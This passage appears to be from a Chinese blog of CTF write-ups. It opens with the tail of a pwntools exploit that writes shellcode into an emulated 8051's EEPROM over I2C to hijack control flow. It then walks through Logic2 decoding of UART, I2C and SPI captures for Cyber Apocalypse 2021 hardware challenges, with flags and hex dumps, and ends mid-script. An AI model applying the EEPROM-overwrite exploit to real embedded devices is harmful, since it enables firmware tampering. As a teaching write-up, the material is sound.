</span><span class="n">shellcode</span> <span class="o">+=</span> <span class="p">[</span><span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">]</span> <span class="c1"># JMP 0x0e02
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">shellcode</span><span class="p">:</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="mi">255</span> <span class="o">-</span> <span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s">' '</span>
<span class="k">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="c1"># write shellcode to 0x0e00 (0x0e00 // 64 = 56)
</span><span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">,</span><span class="sa">b</span><span class="s">'w 101153 100 56 165 90 165 90 '</span> <span class="o">+</span> <span class="n">payload</span><span class="p">.</span><span class="n">encode</span><span class="p">())</span>
<span class="c1"># patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51): 12 01 23 7e -> 00 00 02 0e
# payload: 255-0 255-0 255-2 255-0xe -> 255 255 253 241
</span><span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"?"</span><span class="p">,</span><span class="sa">b</span><span class="s">'w 101153 100 19 165 90 165 90 '</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'0 '</span><span class="o">*</span> <span class="mi">51</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'255 255 253 241'</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">a</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">))</span>
</code></pre></div></div>老板娘题目为采用8051模拟器运行的交互式程序,交互命令可以读写I2C总线设备。漏洞点为其对I2C总线设备号校验不严格,导致可以通过交互式命令行读写到挂接在I2C总线上的,并存储着8051程序代码的EEPROM。而flag位于8051可以访问的特殊寄存器中,因此通过对EEPROM的非法写即可写入shellcode并完成控制流劫持。不过由于EEPROM物理特性,通过I2C总线对其写入只能按bit将1写为0,但这现象似乎违背EEPROM可重复擦写的特征,其实其擦写的方法为通过对其引脚的一系列电平操作,使得整块EEPROM全部bit归1,然后按bit将1写0,这个操作在现实中一般使用编程器对EEPROM单独操作,在8051的shellcode中无法完成,本模拟器也将本物理特性如实模拟。因此对于本题中控制流劫持的位置以及shellcode写入位置都有额外的限制,需要针对题目固件选择特定的位置进行写入。Cyber Apocalypse 2021 五道硬件小题:总线电路信号分析2022-10-24T00:00:00+00:002022-10-24T00:00:00+00:00https://xuanxuanblingbling.github.io/iot/2022/10/24/logic2<blockquote>
<p>五道使用logic2逻辑分析仪进行总线电路信号分析的小题,主要涉及UART、I2C与SPI总线协议。</p>
</blockquote>
<ul>
<li>logic2软件下载:<a href="https://www.saleae.com/downloads/">https://www.saleae.com/downloads/</a></li>
<li>总线接口介绍:<a href="https://github.com/lowkeyway/Embedded/tree/master/Hardware/Hardware%20Interface">lowkeyway: Embedded: Hardware: Hardware Interface</a></li>
</ul>
<p>参考WP:</p>
<ul>
<li><a href="https://ctftime.org/task/15708">CTF time : Cyber Apocalypse 2021 : Serial Logs</a></li>
<li><a href="https://ctftime.org/task/15709">CTF time : Cyber Apocalypse 2021 : Compromised</a></li>
<li><a href="https://ctftime.org/task/15710">CTF time : Cyber Apocalypse 2021 : Off the grid</a></li>
<li><a href="https://nisaruj.medium.com/htb-cyber-apocalypse-2021-off-the-grid-baddb484e342">HTB Cyber Apocalypse 2021 Writeup — Off the grid</a></li>
<li><a href="https://anniequus.com/posts/htb-hardware-writeups">How HackTheBoxCTF Exposed The Marriage of Saleae And Hardware</a></li>
<li><a href="https://kashmir54.github.io/ctfs/CyberApocalypse2021/">kashmir54 : CyberApocalypse 2021</a></li>
<li><a href="https://scc-luhack.lancs.ac.uk/writeups/view/hidden">scc-luhack : HIDDEN</a></li>
<li><a href="https://geekoder.com/2021/04/28/cyber-apocalypse-cft-2021-write-up/">faultylee : Cyber Apocalypse CFT 2021 Write-up</a></li>
</ul>
<h2 id="serial-logs">Serial Logs</h2>
<blockquote>
<p>附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/logic2/hw_serial_logs.zip">hw_serial_logs.zip</a></p>
</blockquote>
<p>使用logic2打开发现只有一路信号,通过题目名称交叉验证应为UART串口信号:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s1.png" alt="image" /></p>
<p>通过查看开始部分最紧凑的波形猜测波特率,这里显示的频率为58.962kHz,由于这里是通过两个高低电平为一个周期计算的频率,所以对应的比特率应为58962*2=117924,接近于常用比特率115200:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s2.png" alt="image" /></p>
<p>使用Analyzers功能识别信号为Async Serial:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s3.png" alt="image" /></p>
<p>设置波特率为115200:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s4.png" alt="image" /></p>
<p>然后即可在解析功能中看到通信字符串,不过发现并没有解出flag,并且在提示更换波特率后无法继续识别字符串,因此猜测flag在更换波特率后传输的数据中:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s5.png" alt="image" /></p>
<p>定位到无法解析的数据,仍然是找到最紧凑的波形,计算波特率应为 37000*2 = 74000 左右:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s6.png" alt="image" /></p>
<p>在Analyzers功能中使用edit更换波特率:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s7.png" alt="image" /></p>
<p>设置波特率为74000,即可在数据窗口中看到flag:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/s8.png" alt="image" /></p>
<p>flag为:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">CHTB</span><span class="p">{</span><span class="n">wh47</span><span class="o">?!</span><span class="n">_f23qu3ncy_h0pp1n9_1n_4_532141_p2070c01</span><span class="o">?!!!</span><span class="mi">52</span><span class="p">}</span>
</code></pre></div></div>
<h2 id="compromised">Compromised</h2>
<blockquote>
<p>附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/logic2/hw_compromised.zip">hw_compromised.zip</a></p>
</blockquote>
<p>使用logic2打开发现有两路信号,并且channel1显然为时钟信号,所以推测为i2c信号:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/c1.png" alt="image" /></p>
<p>使用Analyzers功能识别信号为i2c,channel0为数据,channel1为时钟,然后即可在数据解析窗口中看到只有写动作:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/c2.png" alt="image" /></p>
<p>经过分析,主要是向0x2C、0x34两个地址进行写操作,将数据按目标地址进行区分并hex解码,即可发现按时间顺序提取所有向0x2c的写的数据,即为flag:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x43</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x48</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x54</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x42</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x7B</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x6E</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x75</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x31</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x31</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x5F</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x37</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x33</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x32</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x6D</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x31</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x6E</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x34</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x37</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x30</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x32</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x35</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x5F</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x63</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x34</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x6E</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x5F</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x38</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x32</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x33</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x34</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x6B</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x5F</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x34</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x5F</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x35</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x33</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x32</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x31</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x34</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x31</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x5F</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x35</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x79</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x35</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x37</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x33</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x6D</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x21</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x40</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x35</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x32</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x29</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x23</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x40</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x25</span>
<span class="n">write</span> <span class="n">to</span> <span class="mh">0x2C</span> <span class="n">ack</span> <span class="n">data</span><span class="o">:</span> <span class="mh">0x7D</span>
</code></pre></div></div>
<p>hex解码即为flag:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python3</span>
<span class="o">>>></span> <span class="n">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="err">'</span><span class="mi">434854427</span><span class="n">B6E7531315F3733326D316E34373032355F63346E5F383233346B5F345F3533323134315F35793537336D21403532292340257D</span><span class="err">'</span><span class="p">)</span>
<span class="n">b</span><span class="err">'</span><span class="n">CHTB</span><span class="p">{</span><span class="n">nu11_732m1n47025_c4n_8234k_4_532141_5y573m</span><span class="o">!</span><span class="err">@</span><span class="mi">52</span><span class="p">)</span><span class="err">#@</span><span class="o">%</span><span class="p">}</span><span class="err">'</span>
</code></pre></div></div>
<h2 id="secure">Secure</h2>
<blockquote>
<p>附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/logic2/hw_secure.zip">hw_compromised.zip</a></p>
</blockquote>
<p>四路信号,题目信息说是SD卡,SD卡一般支持SDIO、SPI两种接口,但logic2里没有SDIO的解析器,因此尝试按SPI解析:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/spi.png" alt="image" /></p>
<p>按SPI解析后,将0x??/0xff的相关数据筛出,然后hex解码即可筛出flag:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python3</span>
<span class="o">>>></span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'FFFF01FFFF01000001AAFFFFFF01FFFFFF01FFFFFF01FFFFFF00FFFFFF0080FF8000FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020400060ACACA810000007FAF3B0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055AA5CD8FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEEB3C904D53444F53352E3000024002000200020000F8EF003F00FF00810000007FAF3B008000294A04D0064E4F204E414D4520202020464154313620202033C98ED1BCF07B8ED9B800208EC0FCBD007C384E247D248BC199E83C01721C83EB3A66A11C7C26663B07268A57FC750680CA0288560280C31073EB33C98A461098F7661603461C13561E03460E13D18B7611608946FC8956FEB82000F7E68B5E0B03C348F7F30146FC114EFE61BF0000E8E600723926382D741760B10BBEA17DF3A66174324E740983C7203BFB72E6EBDCA0FB7DB47D8BF0AC9840740C487413B40EBB0700CD10EBEFA0FD7DEBE6A0FC7DEBE1CD16CD19268B551A52B001BB0000E83B0072E85B8A5624BE0B7C8BFCC746F03D7DC746F4297D8CD9894EF2894EF6C606967DCBEA030000200FB6C8668B46F86603461C668BD066C1EA10EB5E0FB6C84A4A8A460D32E4F7E20346FC1356FEEB4A525006536A016A10918B4618969233D2F7F691F7F64287CAF7761A8AF28AE8C0CC020ACCB80102807E020E7504B4428BF48A5624CD136161720B40750142035E0B497506F8C341BB000060666A00EBB0424F4F544D4752202020200D0A52656D6F7665206469736B73206F72206F74686572206D656469612EFF0D0A4469736B206572726F72FF0D0A507265737320616E79206B657920746F20726573746172740D0A00000000000000ACCBD855AA1602FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE3031202020202020545854201043F59273507850000002977750250073000000444154414C4F4720545854000000000821282128000000082128070064190000544553542020202054585400000000082128212800000008212808005E0000004B455920202020205458540000000008212821280000000821280900B6000000534B4559202020205458540000000008212821280000000821280A006A00000053454352455420204B45590000000008212821280000000821280B00560000004D415354455220204B45590000000008212821280000000821280C0058000000412E005F00300031002E000F00687400780074000000FFFFFFFF0000FFFFFFFF5F307E31202020205458542200460697775078500000069777501F0000100000E56D0073000000FFFFFFFF0F009AFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFE52E00540065006D0070000F009A6F0072006100720079004900000074006500E5454D504F527E312020201200890FA87250725000000FA87250160000800000E52E0066007300650076000F00DA65006E0074007300640000000000FFFFFFFFE5534556454E7E31202020120064A676785078500000A6767850050000800000E5302020202020205458542010C2F59273503652000038AE7350000000000000412E005F00310030002E000F00ED7400780074000000FFFFFFFF0000FFFFFFFF3299FFFFFF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE434854427B3550315F31355F63306D6D306E5F306E5F6D336D3032795F643376316333355F214035327D0D0A434854427B3550315F31355F63306D6D306E5F306E5F6D336D3032795F643376316333355F214035327D0D0A000000000000000000000000000000000000000000000000000000000000FFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004160'</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CHTB{5P1_15_c0mm0n_0n_m3m02y_d3v1c35_!@52}
</code></pre></div></div>
<h2 id="off-the-grid">Off the grid</h2>
<blockquote>
<p>附件:<a href="https://xuanxuanblingbling.github.io/assets/attachment/logic2/hw_off_the_grid.zip">hw_off_the_grid.zip</a></p>
</blockquote>
<p>题目给出了电路图,为SPI接口的OLED屏幕,所以推测flag画在了屏幕上:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o1.png" alt="image" /></p>
<p>使用logic2打开,对应设置0,1,2三个通道即可,3通道为OLED屏幕自身D/C功能的信号,不为SPI标准信号。4通道为reset,没有更多数据,因此3,4通道不用设置,解析后总览发现总共有6大段:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o2.png" alt="image" /></p>
<p>放大后6大段中只有第大1段里有9小段,其余均有8小段,根据3通道在第1大段第1小段中的低电平可以推测这为OLED的初始命令配置:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o3.png" alt="image" /></p>
<p>例如第4大段放大后,可以看到其中只有8小段:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o4.png" alt="image" /></p>
<p>重点关注数据信号,即0通道,放大第4大段的前2个小段发现在大量数据前有3个字节疑似前导字节:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o5.png" alt="image" /></p>
<p>可以在数据解析窗口中把解析数据复制出来:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o6.png" alt="image" /></p>
<p>以第4大段数据为例,其中的8小段每段都有3个字节前导,其中主要信息变化为第1字节的0xb0-0xb7的递增,所以应该没有关键的显示数据本身,删掉:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/o7.png" alt="image" /></p>
<p>然后以十六进制整理好数据发现正好2048字节,所以hex解码后正好为1024字节(第4大段的全部数据):</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/2048.png" alt="image" /></p>
<p>OLED为64行*128列,显示点阵总数为8192,点阵每点无颜色,无深浅,只有亮灭,所以显示数据应为二进制。而第4大段数据总共1024字节,以二进制角度考虑,每个字节8bit,1024 * 8正好为8192,可以填满屏幕。所以,6大段为应6个不同的屏幕画面。不过直接按64行或128列顺序解析这1024字节是错误的,因为他这玩意是按照8个页来显示的,每小段是先横着把每页填完(8行 * 128列),然后在竖着填下一个页,总共8页。例如第4大段第1小段的前4个字节,每个字节拆成二进制单独一列(8行):</p>
<ul>
<li><a href="https://www.zhetao.com/fontarray.html">单片机-LCD-LED-OLED中文点阵生成软件</a></li>
<li><a href="https://www.cnblogs.com/laoxiongzhijia/p/14665372.html">STM32 OLED屏显示详解</a></li>
<li><a href="https://cdn-shop.adafruit.com/datasheets/SSD1306.pdf">SH1306 datasheet</a></li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/logic2/oled.png" alt="image" /></p>
<p>操作图像比较费劲,所以把先把数据转为0、1字符,然把0用空格替代,1用井号替代,直接在shell窗口中显示:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">a</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'FFDFAF77FBFDFFFFFFFFFFFFBF4F77037FFFFFFFFFFFFFFFFFFDFB77AFDF00000000182424448C0000C0A0A0C00000C02020600020E04020200000C0A0A0C0000020F820000000000000000000E09CF0800000C02020600000C0202060000000000000000000000000000000000000000000F80804F4F404F4F404F4F404FC000F0F0F0F0E0D0F0F0F0F0F0F0F0F0F0C0D0F0F0F0F0F0F0F0F0D0E0F0F0F0000000003020202010000010202020000010202020002030200000000010202020000000102020000000000000002030000030200010202020000010202020000000000000000000000000000000000000000000101020202020202020202020300FB03FFFF03FBFF9F5F5FDFFFFF3F5F5F3FFFDF1FBFDFDFFFFFFFEFFFFFFF00000040A0A0C00000C02024FC0020E0402020000020E40000000040A0A0C00020E02020C0000040A0A0C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CFCECDCDCECFCFCDCDCDCCCFCFCECDCDCDCFCDCCCDCFCFCFCFCFCDCFCFCF00000001020203020001020203020203020000000002030200000001028283020203020003020001020203020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007E0076F6F9FFFFAF57570F7FFF67575737FFFF67575737FFFFFF7BFFFFFF00007E818181430081FF0808FF810381FF81030081FF89897600000008F700007E8181817E000082FF80000042818989760000708889FF8000000000000081FF8808F080102C22FFA00000708888980081FFA038C8880082FF80000088F88808F080E3131313E3030303030303030383E39393133313937313038303830383030000F0000000601010906000001008100000601010906000F090909010014140F040F0400008788000000000000000000000000000000000020202020202000000000000000000000000000000000000000000000000000000000000000000000000000D0909070020202020202000080F08080000000F000000010E030E010000000B0000000C0A090808000000000000000C0A09080800040808080700020F020F020200101F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008181FF80800000708888700000708888980081FFA038C8880000000000000088F980000088F88808F080000084000000C6A1918986000098A8A8C8000000000000000000'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">a</span><span class="p">[</span><span class="n">k</span><span class="o">*</span><span class="mi">128</span><span class="p">:</span><span class="mi">128</span><span class="o">*</span><span class="p">(</span><span class="n">k</span><span class="o">+</span><span class="mi">1</span><span class="p">)]:</span>
